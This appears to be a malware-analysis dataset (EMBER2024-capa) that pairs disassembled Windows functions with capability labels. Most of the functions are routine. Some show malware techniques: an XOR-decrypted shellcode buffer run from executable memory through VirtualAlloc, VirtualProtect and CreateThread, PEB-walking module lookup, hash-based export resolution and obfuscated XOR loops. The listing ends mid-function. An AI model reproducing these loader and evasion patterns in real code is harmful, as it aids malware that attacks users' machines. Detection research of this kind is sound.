joyce8/EMBER2024-capa huggingface dataset:
Function at 0x14003c3f0
Capabilities:
Link many functions at runtime

Disassembly:
sub rsp, 0x48
cmp qword [0x14006bbd0], 0
lea rax, str.libOSMesa.dll
lea rcx, str.OSMesa.dll
mov qword [rsp + 0x20], rax
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x30], 0
je 0x14003c429
mov eax, 1
add rsp, 0x48
ret
mov qword [rsp + 0x40], rbx
xor ebx, ebx
mov rcx, rax
call sub.KERNEL32.dll_LoadLibraryA
mov qword [0x14006bbd0], rax
mov rcx, rax
test rax, rax
jne 0x14003c454
mov rax, qword [rsp + rbx*8 + 0x28]
inc rbx
test rax, rax
jne 0x14003c430
mov rbx, qword [rsp + 0x40]
test rcx, rcx
jne 0x14003c476
lea rdx, str.OSMesa:_Library_not_found
mov ecx, 0x10006
call fcn.140031a50
xor eax, eax
add rsp, 0x48
ret
lea rdx, str.OSMesaCreateContextExt
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaCreateContextAttribs
mov qword [0x14006bbd8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaDestroyContext
mov qword [0x14006bbe0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaMakeCurrent
mov qword [0x14006bbe8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaGetColorBuffer
mov qword [0x14006bbf0], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaGetDepthBuffer
mov qword [0x14006bbf8], rax
call sub.KERNEL32.dll_GetProcAddress
mov rcx, qword [0x14006bbd0]
lea rdx, str.OSMesaGetProcAddress
mov qword [0x14006bc00], rax
call sub.KERNEL32.dll_GetProcAddress
cmp qword [0x14006bbd8], 0
mov qword [0x14006bc08], rax
je 0x14003c560
cmp qword [0x14006bbe8], 0
je 0x14003c560
cmp qword [0x14006bbf0], 0
je 0x14003c560
cmp qword [0x14006bbf8], 0
je 0x14003c560
cmp qword [0x14006bc00], 0
je 0x14003c560
test rax, rax
jne 0x14003c41f
lea rdx, str.OSMesa:_Failed_to_load_required_entry_points
mov ecx, 0x10008
call fcn.140031a50
mov rcx, qword [0x14006bbd0]
test rcx, rcx
je 0x14003c58d
call sub.KERNEL32.dll_FreeLibrary
mov qword [0x14006bbd0], 0
xor eax, eax
add rsp, 0x48
ret

Function at 0x14003e554
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x14003e59e
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14003e59e
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14003e59e
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14003e59e
cmp dword [rcx + 0x84], 0xe
jbe 0x14003e59e
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14003e5a0
xor al, al
add rsp, 0x28
ret
Function at 0x18056a058
Capabilities:
Decompress data using aplib

Disassembly:
call fcn.18056a1df
push r10
mov r10, rsp
push r10
mov rsi, qword [r10 + 0x10]
mov rdi, qword [r10 + 0x20]
cld
mov dl, 0x80
mov al, byte [rsi]
inc rsi
mov byte [rdi], al
inc rdi
mov ebx, 2
add dl, dl
jne 0x18056a089
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056a06f
add dl, dl
jne 0x18056a096
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056a0f6
xor eax, eax
add dl, dl
jne 0x18056a0a5
mov dl, byte [rsi]
inc rsi
adc dl, dl
jae 0x18056a1ad
add dl, dl
jne 0x18056a0b6
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056a0c3
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056a0d0
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056a0dd
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
je 0x18056a0ea
push rdi
mov eax, eax
sub rdi, rax
mov al, byte [rdi]
pop rdi
mov byte [rdi], al
inc rdi
mov ebx, 2
jmp 0x18056a07e
mov eax, 1
add dl, dl
jne 0x18056a106
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc eax, eax
add dl, dl
jne 0x18056a113
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056a0fb
sub eax, ebx
mov ebx, 1
jne 0x18056a14c
mov ecx, 1
add dl, dl
jne 0x18056a12e
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18056a13b
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056a123
push rsi
mov rsi, rdi
sub rsi, rbp
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056a07e
dec eax
shl eax, 8
mov al, byte [rsi]
inc rsi
mov ebp, eax
mov ecx, 1
add dl, dl
jne 0x18056a168
mov dl, byte [rsi]
inc rsi
adc dl, dl
adc ecx, ecx
add dl, dl
jne 0x18056a175
mov dl, byte [rsi]
inc rsi
adc dl, dl
jb 0x18056a15d
cmp eax, 0x7d00
jae 0x18056a19b
cmp eax, 0x500
jb 0x18056a196
inc ecx
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056a07e
cmp eax, 0x7f
ja 0x18056a19e
add ecx, 2
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
jmp 0x18056a07e
mov al, byte [rsi]
inc rsi
xor ecx, ecx
shr al, 1
je 0x18056a1d2
adc ecx, 2
mov ebp, eax
push rsi
mov rsi, rdi
sub rsi, rax
rep movsb byte [rdi], byte [rsi]
pop rsi
mov ebx, 1
jmp 0x18056a07e
pop r10
sub rdi, qword [r10 + 0x20]
mov eax, edi
pop r10
ret 0x20
Function at 0x14001189c
Capabilities:
Parse pe header

Disassembly:
mov dword [rsp + 0x18], r8d
mov dword [rsp + 0x10], edx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov qword [rbp - 0x20], 0xfffffffffffffffe
mov qword [rsp + 0x60], rbx
mov ebx, ecx
test r8d, r8d
jne 0x14001190b
xor ecx, ecx
call qword [0x140024088]
test rax, rax
je 0x14001190b
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14001190b
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14001190b
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14001190b
cmp dword [rcx + 0x84], 0xe
jbe 0x14001190b
cmp dword [rcx + 0xf8], 0
je 0x14001190b
mov ecx, ebx
call fcn.1400119bc
mov byte [rbp + 0x28], 0
lea rax, [rbp + 0x18]
mov qword [rbp - 0x18], rax
lea rax, [rbp + 0x20]
mov qword [rbp - 0x10], rax
lea rax, [rbp + 0x28]
mov qword [rbp - 8], rax
mov eax, 2
mov dword [rbp - 0x2c], eax
mov dword [rbp - 0x28], eax
lea r9, [rbp - 0x2c]
lea r8, [rbp - 0x18]
lea rdx, [rbp - 0x28]
lea rcx, [rbp - 0x30]
call fcn.140011798
nop
cmp dword [rbp + 0x20], 0
je 0x140011959
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
mov ecx, ebx
call fcn.140011964
int3
xor edx, edx
xor ecx, ecx
lea r8d, [rdx + 1]
jmp 0x14001189c

Function at 0x140011aa0
Capabilities:
Parse pe header

Disassembly:
xor r8d, r8d
xor edx, edx
jmp 0x14001189c

Function at 0x140021f80
Capabilities:
Parse pe header

Disassembly:
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x140021fa8
movsxd rdx, dword [rcx + 0x3c]
add rdx, rcx
cmp dword [rdx], 0x4550
jne 0x140021fa8
xor eax, eax
mov ecx, 0x20b
cmp word [rdx + 0x18], cx
sete al
ret
xor eax, eax
ret

Function at 0x1805f5c63
Capabilities:
Encode data using xor

Disassembly:
add r8, 0xc
xor r9d, r9d
test rdx, rdx
lea rsp, [rsp + 0x10]
je 0x18061acb3
push 0xffffffffbbbb550e
mov qword [rsp], r11
mov r11d, 0x4a2be02c
ror r11b, 0x65
not r11b
push r10
shl r11d, 0x69
lea r11, [0x180613868]
mov r10d, 0xcaa1897
movzx r10d, byte [rsi + r10*8 - 0x6550c4b8]
push 0xffffffff9720d218
xor r10d, r9d
and r10d, 0xff
mov r10d, dword [r11 + r10*4]
shr r9d, 8
xor r9d, r10d
neg word [rsp + 1]
shr word [rsp + 1], 0x89
inc rsi
sar qword [rsp], 0x51
xor r9d, 0xa18a529
dec rdx
lea rsp, [rsp + 8]
jne 0x1805f5c9e
call fcn.18061aca4
mov rdi, qword [r8]
mov esi, 0x64331801
mov rsi, qword [r8 + rsi - 0x643317f9]
jmp 0x180619eed
add r8, 0x10
call fcn.1805fdc34
call fcn.1805f126d
call fcn.18060bb32
lea rdx, [rsp + rdx + 8]
mov qword [rdx], rax
lea rsp, [rsp + 8]
jmp fcn.18061594e

Function at 0x1806301fd
Capabilities:
Encode data using xor

Disassembly:
lea r11, [0x1805f8e50]
lea rsp, [rsp + 8]
mov r8d, 0x631a5b06
movzx r8d, byte [r8 + rdx - 0x631a5b06]
push 0x4385e912
xor r8d, edi
and r8d, 0xff
mov r8d, dword [r11 + r8*4]
or word [rsp + 3], 0x67a1
shr edi, 8
xor edi, r8d
push 0xfffffffff0123ba3
inc rdx
not qword [rsp + 8]
sal byte [rsp + 0xe], 0x26
xor edi, 0xb53a069b
dec rax
lea rsp, [rsp + 0x10]
jne 0x180630209
call fcn.1806085d6
Function at 0x140001000
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x200
mov rax, qword gs:[0x60]
mov rbx, rcx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov r11, qword [rdi]
cmp r11, rdi
je 0x1400011d7
movzx esi, byte [rcx]
nop word [rax + rax]
mov r8, qword [r11 + 0x40]
lea rax, [rsp + 0x100]
xorps xmm0, xmm0
xor ecx, ecx
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
lea edx, [rcx + 0x14]
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rcx
mov dword [rax + 0x78], ecx
mov word [rax + 0x7c], cx
mov byte [rax + 0x7e], cl
lea rax, [rsp]
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
lea rax, [rax + 0x80]
movups xmmword [rax - 0x10], xmm0
movups xmmword [rax], xmm0
movups xmmword [rax + 0x10], xmm0
movups xmmword [rax + 0x20], xmm0
movups xmmword [rax + 0x30], xmm0
movups xmmword [rax + 0x40], xmm0
movups xmmword [rax + 0x50], xmm0
movups xmmword [rax + 0x60], xmm0
mov qword [rax + 0x70], rcx
mov dword [rax + 0x78], ecx
mov word [rax + 0x7c], cx
mov byte [rax + 0x7e], cl
movzx eax, word [r8 + 0x28]
test ax, ax
je 0x140001121
lea ecx, [rax - 0x41]
cmp cx, 0x19
ja 0x14000110d
add ax, 0x20
mov byte [rsp + rdx + 0xec], al
inc rdx
movzx eax, word [r8 + rdx*2]
test ax, ax
jne 0x140001100
test sil, sil
je 0x140001168
lea r10, [rsp]
movzx r8d, sil
sub r10, rbx
mov r9, rbx
nop dword [rax]
nop dword [rax + rax]
lea eax, [r8 + 0x20]
lea edx, [r8 - 0x41]
movzx ecx, al
cmp dl, 0x19
movzx eax, r8b
movzx r8d, byte [r9 + 1]
lea r9, [r9 + 1]
cmova ecx, eax
mov byte [r10 + r9 - 1], cl
test r8b, r8b
jne 0x140001140
xor edx, edx
xor eax, eax
cmp byte [rsp + 0x100], al
je 0x14000118c
nop word [rax + rax]
inc rdx
cmp byte [rsp + rdx + 0x100], al
jne 0x140001180
cmp byte [rsp], al
je 0x14000119a
inc rax
cmp byte [rsp + rax], 0
jne 0x140001191
cmp rax, rdx
jne 0x1400011cb
xor ecx, ecx
test rdx, rdx
je 0x1400011c5
nop word [rax + rax]
movzx eax, byte [rsp + rcx]
cmp byte [rsp + rcx + 0x100], al
jne 0x1400011cb
inc rcx
cmp rcx, rdx
jb 0x1400011b0
mov rax, qword [r11 + 0x20]
jmp 0x1400011d9
mov r11, qword [r11]
cmp r11, rdi
jne 0x140001040
xor eax, eax
lea r11, [rsp + 0x200]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400011f0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
movsxd rax, dword [rcx + 0x3c]
xor r9d, r9d
mov ebx, edx
mov r11, rcx
mov r8d, dword [rax + rcx + 0x88]
add r8, rcx
mov edi, dword [r8 + 0x1c]
mov esi, dword [r8 + 0x24]
add rdi, rcx
mov r10d, dword [r8 + 0x20]
add rsi, rcx
mov r8d, dword [r8 + 0x18]
add r10, rcx
test r8d, r8d
je 0x14000128b
nop dword [rax]
nop dword [rax + rax]
mov edx, dword [r10]
mov eax, 0xf1f8
add rdx, r11
movzx ecx, byte [rdx]
test cl, cl
je 0x140001276
nop dword [rax]
nop word [rax + rax]
imul eax, eax, 0x991787
lea rdx, [rdx + 1]
movsx ecx, cl
add eax, ecx
movzx ecx, byte [rdx]
test cl, cl
jne 0x140001260
xor eax, 0x111aab78
cmp ebx, eax
je 0x14000129d
inc r9d
add r10, 4
cmp r9d, r8d
jb 0x140001240
xor eax, eax
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov rdi, qword [rsp + 0x18]
ret
movzx ecx, word [rsi + r9*2]
mov rbx, qword [rsp + 8]
mov rsi, qword [rsp + 0x10]
mov eax, dword [rdi + rcx*4]
mov rdi, qword [rsp + 0x18]
add rax, r11
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Spawn thread to rwx shellcode

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x40
mov rax, qword [0x140004008]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov edx, 9
lea rcx, str.Size_of_key__i__n
call fcn.140001010
lea rcx, str.intermezzo
call fcn.140001010
lea rcx, str.intermezzo
call fcn.140001010
xor ebx, ebx
lea rdi, [0x140004040]
xor esi, esi
lea r14, str.apoteosi
nop
cmp rbx, 8
jb 0x1400010e4
xor ebx, ebx
lea rcx, str.intermezzo
call fcn.140001010
movzx eax, byte [rbx + r14]
inc rbx
xor byte [rsi + rdi], al
inc rsi
cmp rsi, 0x114
jb 0x1400010d0
xor ecx, ecx
mov edx, 0x115
mov r8d, 0x3000
lea r9d, [rcx + 4]
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rbx, rax
test rax, rax
jne 0x140001136
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAlloc_Failed_With_Error_:__d__n
call fcn.140001010
lea eax, [rbx - 1]
jmp 0x140001254
mov rdx, rbx
lea rcx, str._i__Allocated_Memory_At_:_0x_p__n
call fcn.140001010
lea rcx, str.___Press__Enter__To_Write_Payload_...
call fcn.140001010
mov rcx, rbx
mov eax, 2
nop dword [rax]
lea rcx, [rcx + 0x80]
movups xmm0, xmmword [rdi]
lea rdi, [rdi + 0x80]
movups xmmword [rcx - 0x80], xmm0
movups xmm1, xmmword [rdi - 0x70]
movups xmmword [rcx - 0x70], xmm1
movups xmm0, xmmword [rdi - 0x60]
movups xmmword [rcx - 0x60], xmm0
movups xmm1, xmmword [rdi - 0x50]
movups xmmword [rcx - 0x50], xmm1
movups xmm0, xmmword [rdi - 0x40]
movups xmmword [rcx - 0x40], xmm0
movups xmm1, xmmword [rdi - 0x30]
movups xmmword [rcx - 0x30], xmm1
movups xmm0, xmmword [rdi - 0x20]
movups xmmword [rcx - 0x20], xmm0
movups xmm1, xmmword [rdi - 0x10]
movups xmmword [rcx - 0x10], xmm1
sub rax, 1
jne 0x140001160
movups xmm0, xmmword [rdi]
lea r9, [rsp + 0x30]
mov edx, 0x115
mov r8d, 0x40
movups xmmword [rcx], xmm0
mov eax, dword [rdi + 0x10]
mov dword [rcx + 0x10], eax
movzx eax, byte [rdi + 0x14]
mov byte [rcx + 0x14], al
mov rcx, rbx
mov dword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
test eax, eax
jne 0x140001206
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualProtect_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001254
mov qword [rsp + 0x28], 0
xor r9d, r9d
mov r8, rbx
mov dword [rsp + 0x20], 0
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
test rax, rax
jne 0x140001247
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____CreateThread_Failed_With_Error_:__d__n
call fcn.140001010
mov eax, 0xffffffff
jmp 0x140001254
mov ecx, 2
call qword [sym.imp.KERNEL32.dll_Sleep]
xor eax, eax
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.140001290
mov rbx, qword [rsp + 0x50]
mov rsi, qword [rsp + 0x58]
mov rdi, qword [rsp + 0x60]
add rsp, 0x40
pop r14
ret
Function at 0x140001b64
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001bae
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001bae
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001bae
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001bae
cmp dword [rcx + 0x84], 0xe
jbe 0x140001bae
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001bb0
xor al, al
add rsp, 0x28
ret
Function at 0x140004eb0
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
mov r11d, r8d
mov r10, rdx
not r11d
mov r9, rcx
mov eax, r11d
test rdx, rdx
je 0x140004f0d
lea rbx, [0x14013e640]
movzx r8d, byte [r9]
lea r9, [r9 + 1]
dec r10
cmp r8b, 0x23
jne 0x140004ef4
cmp r10, 2
jb 0x140004ef4
cmp byte [r9], r8b
jne 0x140004ef4
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
xor rdx, r8
shr eax, 8
xor eax, dword [rbx + rdx*4]
test r10, r10
jne 0x140004ed0
not eax
mov rbx, qword [rsp + 8]
ret
movzx r8d, byte [rcx]
inc r9
test r8b, r8b
je 0x140004f4f
lea rbx, [0x14013e640]
cmp r8b, 0x23
jne 0x140004f33
cmp byte [r9], r8b
jne 0x140004f33
cmp byte [r9 + 1], r8b
cmove eax, r11d
movzx edx, al
movzx ecx, r8b
movzx r8d, byte [r9]
xor rdx, rcx
shr eax, 8
inc r9
xor eax, dword [rbx + rdx*4]
test r8b, r8b
jne 0x140004f20
mov rbx, qword [rsp + 8]
not eax
ret

Function at 0x140005110
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
xor r14d, r14d
mov rsi, r8
test r8, r8
je 0x14000512e
mov qword [r8], r14
lea rdx, [0x14013e118]
call fcn.140004f60
mov rbx, rax
test rax, rax
jne 0x140005153
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
mov qword [rsp + 0x30], rbp
mov rcx, rbx
mov qword [rsp + 0x38], rdi
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
mov ebp, eax
cmp eax, 0xffffffff
je 0x14000527d
xor edx, edx
mov rcx, rbx
lea r8d, [rdx + 2]
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000527d
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_ftell]
movsxd rdi, eax
cmp edi, 0xffffffff
je 0x14000527d
xor r8d, r8d
mov edx, ebp
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fseek]
test eax, eax
jne 0x14000527d
cmp rdi, 0xffffffffffffffff
je 0x14000527d
mov rcx, rdi
call fcn.140009840
mov rbp, rax
test rax, rax
je 0x14000527d
mov r9, rbx
mov r8, rdi
mov edx, 1
mov rcx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fread]
mov rcx, rbx
cmp rax, rdi
je 0x14000526a
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
mov r8, qword [0x1401a97b0]
test r8, r8
je 0x14000525f
movsx rdx, word [r8 + 0x6258]
lea rcx, [r8 + 0x625c]
mov r9d, dword [r8 + 0x3fe8]
lea rcx, [rcx + rdx*8]
cmp dword [rcx], r9d
je 0x140005254
lea ecx, [rdx + 1]
mov eax, 0x2aaaaaab
imul ecx
mov eax, edx
shr eax, 0x1f
add edx, eax
lea eax, [rdx + rdx*2]
add eax, eax
sub ecx, eax
mov word [r8 + 0x6258], cx
movsx rax, cx
lea rcx, [r8 + 0x625c]
lea rcx, [rcx + rax*8]
mov dword [rcx], r9d
mov dword [rcx + 4], r14d
inc word [rcx + 6]
inc dword [r8 + 0x6254]
mov rcx, rbp
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
jmp 0x140005286
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
test rsi, rsi
je 0x140005278
mov qword [rsi], rdi
mov rax, rbp
jmp 0x140005288
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
xor eax, eax
mov rbp, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
Function at 0x140013300
Capabilities:
Hash data with crc32

Disassembly:
push rbx
sub rsp, 0x20
movsxd r8, dword [rcx + 0x108]
lea r11, [0x14013e640]
mov rax, qword [rcx + 0x110]
mov r9, rcx
movsxd r10, edx
mov ebx, dword [rax + r8*4 - 4]
not ebx
movzx eax, r10b
movzx r8d, bl
shr ebx, 8
xor r8, rax
mov eax, r10d
shr eax, 8
movzx edx, al
mov eax, r10d
xor ebx, dword [r11 + r8*4]
movzx ecx, bl
xor rdx, rcx
shr ebx, 8
shr eax, 0x10
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
movzx edx, al
xor rdx, rcx
xor ebx, dword [r11 + rdx*4]
movzx ecx, bl
shr ebx, 8
mov edx, r10d
shr rdx, 0x18
xor rdx, rcx
mov rcx, qword [r9]
xor ebx, dword [r11 + rdx*4]
not ebx
cmp dword [rcx + 0x40f4], ebx
jne 0x140013396
mov r8, r10
mov edx, 4
mov ecx, ebx
call fcn.14001e8c0
mov eax, ebx
add rsp, 0x20
pop rbx
ret

Function at 0x1400133a0
Capabilities:
Hash data with crc32

Disassembly:
sub rsp, 0x18
mov rax, qword [rcx + 0x110]
lea r9, [0x14013e640]
movss xmm2, dword [rcx + 0x128]
movss xmm3, dword [rcx + 0x12c]
movsxd rcx, dword [rcx + 0x108]
movss xmm0, dword [rdx]
movss xmm1, dword [rdx + 4]
subss xmm0, xmm2
subss xmm1, xmm3
mov r8d, dword [rax + rcx*4 - 4]
not r8d
movzx ecx, r8b
shr r8d, 8
movss dword [rsp], xmm0
movzx eax, byte [rsp]
xor rcx, rax
movss xmm0, dword [rdx + 8]
movzx eax, byte [rsp + 1]
subss xmm0, xmm2
movss dword [rsp + 4], xmm1
movss xmm1, dword [rdx + 0xc]
xor r8d, dword [r9 + rcx*4]
subss xmm1, xmm3
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 2]
movss dword [rsp + 8], xmm0
movss dword [rsp + 0xc], xmm1
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 3]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 4]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 5]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 6]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 7]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 8]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 9]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xa]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xb]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xc]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xd]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
movzx eax, byte [rsp + 0xe]
xor r8d, dword [r9 + rcx*4]
movzx ecx, r8b
xor rcx, rax
shr r8d, 8
xor r8d, dword [r9 + rcx*4]
movzx ecx, byte [rsp + 0xf]
movzx edx, r8b
shr r8d, 8
xor rdx, rcx
xor r8d, dword [r9 + rdx*4]
not r8d
mov eax, r8d
add rsp, 0x18
ret
Function at 0x140017990
Capabilities:
Hash data with crc32

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rax, qword [0x140160880]
xor rax, rsp
mov qword [rsp + 0x30], rax
mov rbx, qword [0x1401a97b0]
mov edi, ecx
cmp byte [rbx + 0x4ded], 0
jne 0x1400179f1
cmp byte [rbx + 0x4dee], 0
jne 0x1400179f1
movsx r9d, word [rbx + 0x6018]
lea r8, str.Tooltip__02d
mov edx, reloc.WS2_32.dll_recv
lea rcx, [rsp + 0x20]
call fcn.140004c90
test dil, 2
je 0x140017b2f
jmp 0x140017a8b
movss xmm0, dword [rbx + 0x3a08]
mov eax, dword [rbx + 0x4ab8]
movaps xmm1, xmm0
mulss xmm1, dword [0x140149310]
mulss xmm0, dword [0x1401492f4]
addss xmm1, dword [rbx + 0xe0]
addss xmm0, dword [rbx + 0xe4]
test al, 1
jne 0x140017a4c
xor ecx, ecx
movss dword [rbx + 0x4ac8], xmm1
mov qword [rbx + 0x4ad0], rcx
or eax, 1
movss dword [rbx + 0x4acc], xmm0
mov dword [rbx + 0x4abc], 1
movss xmm0, dword [rbx + 0x3a64]
lea r8, str.Tooltip__02d
mulss xmm0, dword [0x1401491e0]
lea rcx, [rsp + 0x20]
movsx r9d, word [rbx + 0x6018]
or eax, 0x40
mov edx, reloc.WS2_32.dll_recv
mov dword [rbx + 0x4ab8], eax
movss dword [rbx + 0x4b18], xmm0
call fcn.140004c90
movzx r9d, byte [rsp + 0x20]
lea r8, [rsp + 0x21]
mov r10d, 0xffffffff
mov ecx, r10d
test r9b, r9b
je 0x140017ae0
lea r11, [0x14013e640]
nop dword [rax + rax]
cmp r9b, 0x23
jne 0x140017ac3
cmp byte [r8], r9b
jne 0x140017ac3
cmp byte [r8 + 1], r9b
cmove ecx, r10d
movzx edx, cl
movzx eax, r9b
movzx r9d, byte [r8]
xor rdx, rax
shr ecx, 8
inc r8
xor ecx, dword [r11 + rdx*4]
test r9b, r9b
jne 0x140017ab0
not ecx
call fcn.14000cfc0
test rax, rax
je 0x140017b2f
cmp byte [rax + 0xca], 0
je 0x140017b2f
mov byte [rax + 0xcf], 1
lea r8, str.Tooltip__02d
mov byte [rax + 0xd2], 1
lea rcx, [rsp + 0x20]
mov byte [rax + 0xec], 1
mov edx, reloc.WS2_32.dll_recv
inc word [rbx + 0x6018]
movsx r9d, word [rbx + 0x6018]
call fcn.140004c90
xor edx, edx
lea rcx, [rsp + 0x20]
mov r8d, 0x2030347
call fcn.14000fea0
mov al, 1
mov rcx, qword [rsp + 0x30]
xor rcx, rsp
call fcn.1401263f0
mov rbx, qword [rsp + 0x50]
